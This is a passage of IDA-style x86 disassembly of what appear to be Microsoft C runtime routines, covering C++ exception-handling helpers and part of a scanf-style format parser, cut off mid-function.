sub_423030 proc near ; CODE XREF: sub_422F70+95p
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
; FUNCTION CHUNK AT 0042316B SIZE 00000014 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4351C8
push offset sub_41BD64
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE0h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
mov [ebp+var_24], 0
mov ecx, [ebp+arg_4]
mov edx, [ecx-4]
mov [ebp+var_28], edx
call sub_421920
mov eax, [eax+6Ch]
mov [ebp+var_1C], eax
call sub_421920
mov ecx, [eax+70h]
mov [ebp+var_20], ecx
call sub_421920
mov edx, [ebp+arg_0]
mov [eax+6Ch], edx
call sub_421920
mov ecx, [ebp+arg_8]
mov [eax+70h], ecx
mov [ebp+var_4], 0
mov [ebp+var_4], 1
mov edx, [ebp+arg_18]
push edx
mov eax, [ebp+arg_14]
push eax
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_418E50
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], 0
jmp short loc_4230FF
; ---------------------------------------------------------------------------
loc_4230CE: ; DATA XREF: .data:004351D8o
mov ecx, [ebp+var_14]
push ecx
call sub_423180
add esp, 4
retn
; ---------------------------------------------------------------------------
loc_4230DB: ; DATA XREF: .data:004351DCo
mov esp, [ebp+var_18]
mov [ebp+var_2C], 0
push 0FFFFFFFFh
mov [ebp+var_30], 0
lea edx, [ebp+var_10]
push edx
call sub_419132
add esp, 8
mov eax, [ebp+var_30]
jmp short loc_42316E
; ---------------------------------------------------------------------------
loc_4230FF: ; CODE XREF: sub_423030+9Cj
mov [ebp+var_4], 0FFFFFFFFh
call sub_42310D
jmp short loc_42316B
sub_423030 endp
; =============== S U B R O U T I N E =======================================
sub_42310D proc near ; CODE XREF: sub_423030+D6p
; DATA XREF: .data:004351D0o
mov eax, [ebp+0Ch]
mov ecx, [ebp-28h]
mov [eax-4], ecx
call sub_421920
mov edx, [ebp-1Ch]
mov [eax+6Ch], edx
call sub_421920
mov ecx, [ebp-20h]
mov [eax+70h], ecx
mov edx, [ebp+8]
cmp dword ptr [edx], 0E06D7363h
jnz short locret_42316A
mov eax, [ebp+8]
cmp dword ptr [eax+10h], 3
jnz short locret_42316A
mov ecx, [ebp+8]
cmp dword ptr [ecx+14h], 19930520h
jnz short locret_42316A
cmp dword ptr [ebp-24h], 0
jnz short locret_42316A
cmp dword ptr [ebp-2Ch], 0
jz short locret_42316A
call sub_41919A
push eax
mov edx, [ebp+8]
push edx
call sub_423450
add esp, 8
locret_42316A: ; CODE XREF: sub_42310D+28j
; sub_42310D+31j ...
retn
sub_42310D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423030
loc_42316B: ; CODE XREF: sub_423030+DBj
mov eax, [ebp+var_2C]
loc_42316E: ; CODE XREF: sub_423030+CDj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_423030
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423180 proc near ; CODE XREF: sub_423030+A2p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
cmp dword ptr [edx], 0E06D7363h
jnz short loc_4231BC
mov eax, [ebp+var_4]
cmp dword ptr [eax+10h], 3
jnz short loc_4231BC
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 19930520h
jnz short loc_4231BC
mov edx, [ebp+var_4]
cmp dword ptr [edx+1Ch], 0
jnz short loc_4231BC
mov eax, 1
jmp short loc_4231BE
; ---------------------------------------------------------------------------
loc_4231BC: ; CODE XREF: sub_423180+15j
; sub_423180+1Ej ...
xor eax, eax
loc_4231BE: ; CODE XREF: sub_423180+3Aj
mov esp, ebp
pop ebp
retn
sub_423180 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4231D0 proc near ; CODE XREF: sub_422F70+22p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4351E0
push offset sub_41BD64
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFF4h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_8]
cmp dword ptr [eax+4], 0
jz short loc_423216
mov ecx, [ebp+arg_8]
mov edx, [ecx+4]
movsx eax, byte ptr [edx+8]
test eax, eax
jz short loc_423216
mov ecx, [ebp+arg_8]
cmp dword ptr [ecx+8], 0
jnz short loc_42321B
loc_423216: ; CODE XREF: sub_4231D0+2Dj
; sub_4231D0+3Bj
jmp loc_42343A
; ---------------------------------------------------------------------------
loc_42321B: ; CODE XREF: sub_4231D0+44j
mov edx, [ebp+arg_8]
mov eax, [edx+8]
mov ecx, [ebp+arg_4]
lea edx, [ecx+eax+0Ch]
mov [ebp+var_1C], edx
mov [ebp+var_4], 0
mov eax, [ebp+arg_8]
mov ecx, [eax]
and ecx, 8
test ecx, ecx
jz short loc_423296
push 1
mov edx, [ebp+arg_0]
mov eax, [edx+18h]
push eax
call sub_42A590
add esp, 8
test eax, eax
jz short loc_42328C
push 1
mov ecx, [ebp+var_1C]
push ecx
call sub_42A5C0
add esp, 8
test eax, eax
jz short loc_42328C
mov edx, [ebp+var_1C]
mov eax, [ebp+arg_0]
mov ecx, [eax+18h]
mov [edx], ecx
mov edx, [ebp+arg_C]
add edx, 8
push edx
mov eax, [ebp+var_1C]
mov ecx, [eax]
push ecx
call sub_4234E0
add esp, 8
mov edx, [ebp+var_1C]
mov [edx], eax
jmp short loc_423291
; ---------------------------------------------------------------------------
loc_42328C: ; CODE XREF: sub_4231D0+81j
; sub_4231D0+93j
call sub_423630
loc_423291: ; CODE XREF: sub_4231D0+BAj
jmp loc_423423
; ---------------------------------------------------------------------------
loc_423296: ; CODE XREF: sub_4231D0+6Cj
mov eax, [ebp+arg_C]
mov ecx, [eax]
and ecx, 1
test ecx, ecx
jz short loc_42331A
push 1
mov edx, [ebp+arg_0]
mov eax, [edx+18h]
push eax
call sub_42A590
add esp, 8
test eax, eax
jz short loc_423310
push 1
mov ecx, [ebp+var_1C]
push ecx
call sub_42A5C0
add esp, 8
test eax, eax
jz short loc_423310
mov edx, [ebp+arg_C]
mov eax, [edx+14h]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_1C]
push eax
call sub_419A90
add esp, 0Ch
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx+14h], 4
jnz short loc_42330E
mov edx, [ebp+var_1C]
cmp dword ptr [edx], 0
jz short loc_42330E
mov eax, [ebp+arg_C]
add eax, 8
push eax
mov ecx, [ebp+var_1C]
mov edx, [ecx]
push edx
call sub_4234E0
add esp, 8
mov ecx, [ebp+var_1C]
mov [ecx], eax
loc_42330E: ; CODE XREF: sub_4231D0+11Aj
; sub_4231D0+122j
jmp short loc_423315
; ---------------------------------------------------------------------------
loc_423310: ; CODE XREF: sub_4231D0+E5j
; sub_4231D0+F7j
call sub_423630
loc_423315: ; CODE XREF: sub_4231D0:loc_42330Ej
jmp loc_423423
; ---------------------------------------------------------------------------
loc_42331A: ; CODE XREF: sub_4231D0+D0j
mov edx, [ebp+arg_C]
cmp dword ptr [edx+18h], 0
jnz short loc_423380
push 1
mov eax, [ebp+arg_0]
mov ecx, [eax+18h]
push ecx
call sub_42A590
add esp, 8
test eax, eax
jz short loc_423376
push 1
mov edx, [ebp+var_1C]
push edx
call sub_42A5C0
add esp, 8
test eax, eax
jz short loc_423376
mov eax, [ebp+arg_C]
mov ecx, [eax+14h]
push ecx
mov edx, [ebp+arg_C]
add edx, 8
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+18h]
push ecx
call sub_4234E0
add esp, 8
push eax
mov edx, [ebp+var_1C]
push edx
call sub_419A90
add esp, 0Ch
jmp short loc_42337B
; ---------------------------------------------------------------------------
loc_423376: ; CODE XREF: sub_4231D0+166j
; sub_4231D0+178j
call sub_423630
loc_42337B: ; CODE XREF: sub_4231D0+1A4j
jmp loc_423423
; ---------------------------------------------------------------------------
loc_423380: ; CODE XREF: sub_4231D0+151j
push 1
mov eax, [ebp+arg_0]
mov ecx, [eax+18h]
push ecx
call sub_42A590
add esp, 8
test eax, eax
jz loc_42341E
push 1
mov edx, [ebp+var_1C]
push edx
call sub_42A5C0
add esp, 8
test eax, eax
jz short loc_42341E
mov eax, [ebp+arg_C]
mov ecx, [eax+18h]
push ecx
call sub_42A5F0
add esp, 4
test eax, eax
jz short loc_42341E
mov edx, [ebp+arg_C]
mov eax, [edx]
and eax, 4
test eax, eax
jz short loc_4233F5
push 1
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+18h]
push eax
call sub_4234E0
add esp, 8
push eax
mov ecx, [ebp+arg_C]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_1C]
push eax
call sub_418D70
jmp short loc_42341C
; ---------------------------------------------------------------------------
loc_4233F5: ; CODE XREF: sub_4231D0+1F8j
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+18h]
push eax
call sub_4234E0
add esp, 8
push eax
mov ecx, [ebp+arg_C]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_1C]
push eax
call sub_418D60
loc_42341C: ; CODE XREF: sub_4231D0+223j
jmp short loc_423423
; ---------------------------------------------------------------------------
loc_42341E: ; CODE XREF: sub_4231D0+1C3j
; sub_4231D0+1D9j ...
call sub_423630
loc_423423: ; CODE XREF: sub_4231D0:loc_423291j
; sub_4231D0:loc_423315j ...
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_42343A
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
call sub_423580
loc_42343A: ; CODE XREF: sub_4231D0:loc_423216j
; sub_4231D0+25Aj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4231D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423450 proc near ; CODE XREF: sub_4229C0+252p
; sub_42310D+55p
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4351F0
push offset sub_41BD64
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp [ebp+arg_0], 0
jz short loc_4234C5
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
cmp dword ptr [ecx+4], 0
jz short loc_4234C5
mov [ebp+var_4], 0
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov ecx, [eax+4]
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+18h]
push eax
call sub_418D50
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_4234C5
; ---------------------------------------------------------------------------
mov eax, [ebp+arg_4]
and eax, 0FFh
neg eax
sbb eax, eax
neg eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
call sub_423580
loc_4234C5: ; CODE XREF: sub_423450+2Aj
; sub_423450+36j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_423450 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4234E0 proc near ; CODE XREF: sub_4231D0+ADp
; sub_4231D0+131p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_0]
add ecx, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_4]
cmp dword ptr [edx+4], 0
jl short loc_42351F
mov eax, [ebp+arg_4]
mov ecx, [eax+4]
mov edx, [ebp+arg_0]
mov eax, [edx+ecx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
mov ecx, [ebp+var_4]
add ecx, [eax+edx]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
add eax, [edx+4]
mov [ebp+var_4], eax
loc_42351F: ; CODE XREF: sub_4234E0+16j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4234E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423530 proc near ; CODE XREF: sub_418E50+4Dp
; sub_422E40+8Bp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_4191BD
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_42356F
mov ecx, 2
loc_42356F: ; CODE XREF: sub_423530+38j
push ecx
call sub_4191BD
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_423530 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423580 proc near ; CODE XREF: sub_4229C0:loc_422C53p
; sub_422F40:loc_422F61p ...
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 004235F4 SIZE 00000011 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_435200
push offset sub_41BD64
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov [ebp+var_4], 0
call sub_421920
cmp dword ptr [eax+60h], 0
jz short loc_4235E0
mov [ebp+var_4], 1
call sub_421920
call dword ptr [eax+60h]
mov [ebp+var_4], 0
jmp short loc_4235E0
; ---------------------------------------------------------------------------
loc_4235D0: ; DATA XREF: .data:00435210o
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_4235D6: ; DATA XREF: .data:00435214o
mov esp, [ebp+var_18]
mov [ebp+var_4], 0
loc_4235E0: ; CODE XREF: sub_423580+36j
; sub_423580+4Ej
mov [ebp+var_4], 0FFFFFFFFh
call sub_4235EE
jmp short loc_4235F4
sub_423580 endp
; =============== S U B R O U T I N E =======================================
sub_4235EE proc near ; CODE XREF: sub_423580+67p
; DATA XREF: .data:00435208o
call sub_42A620
retn
sub_4235EE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423580
loc_4235F4: ; CODE XREF: sub_423580+6Cj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_423580
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call sub_421920
cmp dword ptr [eax+64h], 0
jz short loc_423626
call sub_421920
call dword ptr [eax+64h]
loc_423626: ; CODE XREF: .data:0042361Cj
call sub_423580
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423630 proc near ; CODE XREF: sub_419060+23p
; sub_419060:loc_4190CDp ...
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 004236A0 SIZE 00000011 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_435218
push offset sub_41BD64
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov [ebp+var_4], 0
cmp off_447710, 0
jz short loc_42368C
mov [ebp+var_4], 1
call off_447710
mov [ebp+var_4], 0
jmp short loc_42368C
; ---------------------------------------------------------------------------
loc_42367C: ; DATA XREF: .data:00435228o
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_423682: ; DATA XREF: .data:0043522Co
mov esp, [ebp+var_18]
mov [ebp+var_4], 0
loc_42368C: ; CODE XREF: sub_423630+34j
; sub_423630+4Aj
mov [ebp+var_4], 0FFFFFFFFh
call sub_42369A
jmp short loc_4236A0
sub_423630 endp
; =============== S U B R O U T I N E =======================================
sub_42369A proc near ; CODE XREF: sub_423630+63p
; DATA XREF: .data:00435220o
call sub_423580
retn
sub_42369A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423630
loc_4236A0: ; CODE XREF: sub_423630+68j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_423630
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4236C0 proc near ; CODE XREF: sub_419670+A2p
var_224 = dword ptr -224h
var_220 = dword ptr -220h
var_21C = dword ptr -21Ch
var_218 = dword ptr -218h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_200 = dword ptr -200h
var_1FC = dword ptr -1FCh
var_1F8 = dword ptr -1F8h
var_1F4 = dword ptr -1F4h
var_1F0 = byte ptr -1F0h
var_1EF = byte ptr -1EFh
var_1EC = dword ptr -1ECh
var_1E8 = dword ptr -1E8h
var_1E4 = dword ptr -1E4h
var_1E0 = dword ptr -1E0h
var_1DC = dword ptr -1DCh
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = byte ptr -1D0h
var_70 = byte ptr -70h
var_6C = dword ptr -6Ch
var_68 = byte ptr -68h
var_64 = byte ptr -64h
var_60 = byte ptr -60h
var_55 = byte ptr -55h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 224h
push ebx
push esi
push edi
loc_4236CC: ; CODE XREF: sub_4236C0+37j
cmp [ebp+arg_4], 0
jnz short loc_4236F3
push offset aFormatNull ; "format != NULL"
push 0
push 109h
push offset dword_435230
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_4236F3
int 3 ; Trap to Debugger
loc_4236F3: ; CODE XREF: sub_4236C0+10j
; sub_4236C0+30j
xor eax, eax
test eax, eax
jnz short loc_4236CC
loc_4236F9: ; CODE XREF: sub_4236C0+64j
cmp [ebp+arg_0], 0
jnz short loc_423720
push offset dword_43449C
push 0
push 10Ch
push offset dword_435230
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_423720
int 3 ; Trap to Debugger
loc_423720: ; CODE XREF: sub_4236C0+3Dj
; sub_4236C0+5Dj
xor ecx, ecx
test ecx, ecx
jnz short loc_4236F9
mov [ebp+var_28], 0
movsx edx, [ebp+var_28]
mov [ebp+var_20], edx
mov eax, [ebp+var_20]
mov [ebp+var_34], eax
loc_423737: ; CODE XREF: sub_4236C0:loc_4249A5j
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
test edx, edx
jz loc_4249AA
cmp dword_447480, 1
jle short loc_423769
push 8
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cl, [eax]
push ecx
call sub_41FA40
add esp, 8
mov [ebp+var_1F8], eax
jmp short loc_423785
; ---------------------------------------------------------------------------
loc_423769: ; CODE XREF: sub_4236C0+8Dj
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
mov ecx, off_447274
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8
mov [ebp+var_1F8], edx
loc_423785: ; CODE XREF: sub_4236C0+A7j
cmp [ebp+var_1F8], 0
jz short loc_4237D3
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_0]
push edx
lea eax, [ebp+var_20]
push eax
call sub_424B80
add esp, 8
push eax
call sub_424B60
add esp, 8
loc_4237B4: ; CODE XREF: sub_4236C0+111j
mov ecx, [ebp+arg_4]
add ecx, 1
mov [ebp+arg_4], ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
push eax
call sub_42A980
add esp, 4
test eax, eax
jz short loc_4237D3
jmp short loc_4237B4
; ---------------------------------------------------------------------------
loc_4237D3: ; CODE XREF: sub_4236C0+CCj
; sub_4236C0+10Fj
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
cmp edx, 25h
jnz loc_42488E
mov [ebp+var_40], 0
mov byte ptr [ebp+var_8], 0
mov [ebp+var_6C], 0
mov eax, [ebp+var_6C]
mov [ebp+var_1E8], eax
mov ecx, [ebp+var_1E8]
mov [ebp+var_1C], ecx
mov [ebp+var_10], 0
mov dl, [ebp+var_10]
mov [ebp+var_68], dl
mov al, [ebp+var_68]
mov [ebp+var_70], al
mov cl, [ebp+var_70]
mov [ebp+var_18], cl
mov dl, [ebp+var_18]
mov [ebp+var_64], dl
mov [ebp+var_14], 0
mov [ebp+var_38], 1
mov [ebp+var_1DC], 0
loc_423835: ; CODE XREF: sub_4236C0:loc_42398Dj
movsx eax, [ebp+var_18]
test eax, eax
jnz loc_423992
mov ecx, [ebp+arg_4]
add ecx, 1
mov [ebp+arg_4], ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
mov [ebp+var_C], eax
cmp dword_447480, 1
jle short loc_423879
push 4
mov ecx, [ebp+var_C]
and ecx, 0FFh
push ecx
call sub_41FA40
add esp, 8
mov [ebp+var_1FC], eax
jmp short loc_423896
; ---------------------------------------------------------------------------
loc_423879: ; CODE XREF: sub_4236C0+19Bj
mov edx, [ebp+var_C]
and edx, 0FFh
mov eax, off_447274
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_1FC], ecx
loc_423896: ; CODE XREF: sub_4236C0+1B7j
cmp [ebp+var_1FC], 0
jz short loc_4238C6
mov edx, [ebp+var_1E8]
add edx, 1
mov [ebp+var_1E8], edx
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_1C]
lea edx, [ecx+eax*4]
mov eax, [ebp+var_C]
lea ecx, [eax+edx*2-30h]
mov [ebp+var_1C], ecx
jmp loc_42398D
; ---------------------------------------------------------------------------
loc_4238C6: ; CODE XREF: sub_4236C0+1DDj
mov edx, [ebp+var_C]
mov [ebp+var_200], edx
mov eax, [ebp+var_200]
sub eax, 2Ah
mov [ebp+var_200], eax
cmp [ebp+var_200], 4Dh
ja loc_423985
mov edx, [ebp+var_200]
xor ecx, ecx
mov cl, byte_424A08[edx]
jmp off_4249E8[ecx*4]
loc_423900: ; DATA XREF: .data:004249ECo
jmp loc_42398D
; ---------------------------------------------------------------------------
loc_423905: ; CODE XREF: sub_4236C0+239j
; DATA XREF: .data:004249F8o
mov al, [ebp+var_38]
sub al, 1
mov [ebp+var_38], al
mov cl, [ebp+var_14]
sub cl, 1
mov [ebp+var_14], cl
jmp short loc_42398D
; ---------------------------------------------------------------------------
loc_423918: ; CODE XREF: sub_4236C0+239j
; DATA XREF: .data:004249F0o
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx+1]
cmp eax, 36h
jnz short loc_42395A
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx+2]
cmp edx, 34h
jnz short loc_42395A
mov eax, [ebp+arg_4]
add eax, 2
mov [ebp+arg_4], eax
mov ecx, [ebp+var_1DC]
add ecx, 1
mov [ebp+var_1DC], ecx
mov [ebp+var_30], 0
mov [ebp+var_2C], 0
jmp short loc_42398D
; ---------------------------------------------------------------------------
loc_42395A: ; CODE XREF: sub_4236C0+263j
; sub_4236C0+270j
jmp short loc_423985
; ---------------------------------------------------------------------------
loc_42395C: ; CODE XREF: sub_4236C0+239j
; DATA XREF: .data:004249F4o
mov dl, [ebp+var_38]
add dl, 1
mov [ebp+var_38], dl
jmp short loc_42398D
; ---------------------------------------------------------------------------
loc_423967: ; CODE XREF: sub_4236C0+239j
; DATA XREF: .data:004249FCo
mov al, [ebp+var_38]
add al, 1
mov [ebp+var_38], al
loc_42396F: ; CODE XREF: sub_4236C0+239j
; DATA XREF: .data:00424A00o
mov cl, [ebp+var_14]
add cl, 1
mov [ebp+var_14], cl
jmp short loc_42398D
; ---------------------------------------------------------------------------
loc_42397A: ; CODE XREF: sub_4236C0+239j
; DATA XREF: .data:off_4249E8o
mov dl, [ebp+var_70]
add dl, 1
mov [ebp+var_70], dl
jmp short loc_42398D
; ---------------------------------------------------------------------------
loc_423985: ; CODE XREF: sub_4236C0+225j
; sub_4236C0+239j ...
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
loc_42398D: ; CODE XREF: sub_4236C0+201j
; sub_4236C0:loc_423900j ...
jmp loc_423835
; ---------------------------------------------------------------------------
loc_423992: ; CODE XREF: sub_4236C0+17Bj
movsx ecx, [ebp+var_70]
test ecx, ecx
jnz short loc_4239B5
mov edx, [ebp+arg_8]
mov [ebp+var_1D4], edx
mov eax, [ebp+arg_8]
add eax, 4
mov [ebp+arg_8], eax
mov ecx, [ebp+arg_8]
mov edx, [ecx-4]
mov [ebp+var_3C], edx
loc_4239B5: ; CODE XREF: sub_4236C0+2D8j
mov [ebp+var_18], 0
movsx eax, [ebp+var_14]
test eax, eax
jnz short loc_4239EC
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
cmp edx, 53h
jz short loc_4239D9
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cl, [eax]
cmp ecx, 43h
jnz short loc_4239E4
loc_4239D9: ; CODE XREF: sub_4236C0+30Bj
mov dl, [ebp+var_14]
add dl, 1
mov [ebp+var_14], dl
jmp short loc_4239EC
; ---------------------------------------------------------------------------
loc_4239E4: ; CODE XREF: sub_4236C0+317j
mov al, [ebp+var_14]
sub al, 1
mov [ebp+var_14], al
loc_4239EC: ; CODE XREF: sub_4236C0+2FFj
; sub_4236C0+322j
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
or edx, 20h
mov [ebp+var_C], edx
cmp [ebp+var_C], 6Eh
jz short loc_423A3E
cmp [ebp+var_C], 63h
jz short loc_423A23
cmp [ebp+var_C], 7Bh
jz short loc_423A23
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_20]
push ecx
call sub_424B80
add esp, 8
mov [ebp+var_1D8], eax
jmp short loc_423A3E
; ---------------------------------------------------------------------------
loc_423A23: ; CODE XREF: sub_4236C0+343j
; sub_4236C0+349j
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_424B00
add esp, 4
mov [ebp+var_1D8], eax
loc_423A3E: ; CODE XREF: sub_4236C0+33Dj
; sub_4236C0+361j
cmp [ebp+var_1E8], 0
jz short loc_423A51
cmp [ebp+var_1C], 0
jz loc_42485F
loc_423A51: ; CODE XREF: sub_4236C0+385j
mov ecx, [ebp+var_C]
mov [ebp+var_204], ecx
mov edx, [ebp+var_204]
sub edx, 63h
mov [ebp+var_204], edx
cmp [ebp+var_204], 18h
ja loc_42480A
mov ecx, [ebp+var_204]
xor eax, eax
mov al, byte_424A7E[ecx]
jmp dword ptr loc_424A56[eax*4]
cmp [ebp+var_1E8], 0
jnz short loc_423AAC
mov edx, [ebp+var_1E8]
add edx, 1
mov [ebp+var_1E8], edx
mov eax, [ebp+var_1C]
add eax, 1
mov [ebp+var_1C], eax
loc_423AAC: ; CODE XREF: sub_4236C0+3D2j
movsx ecx, [ebp+var_14]
test ecx, ecx
jle short loc_423ABD
mov dl, [ebp+var_64]
add dl, 1
mov [ebp+var_64], dl
loc_423ABD: ; CODE XREF: sub_4236C0+3F2j
mov [ebp+var_1E0], offset dword_44771C
mov al, [ebp+var_10]
sub al, 1
mov [ebp+var_10], al
jmp short loc_423B40
; ---------------------------------------------------------------------------
loc_423AD1: ; CODE XREF: sub_4236C0+3C4j
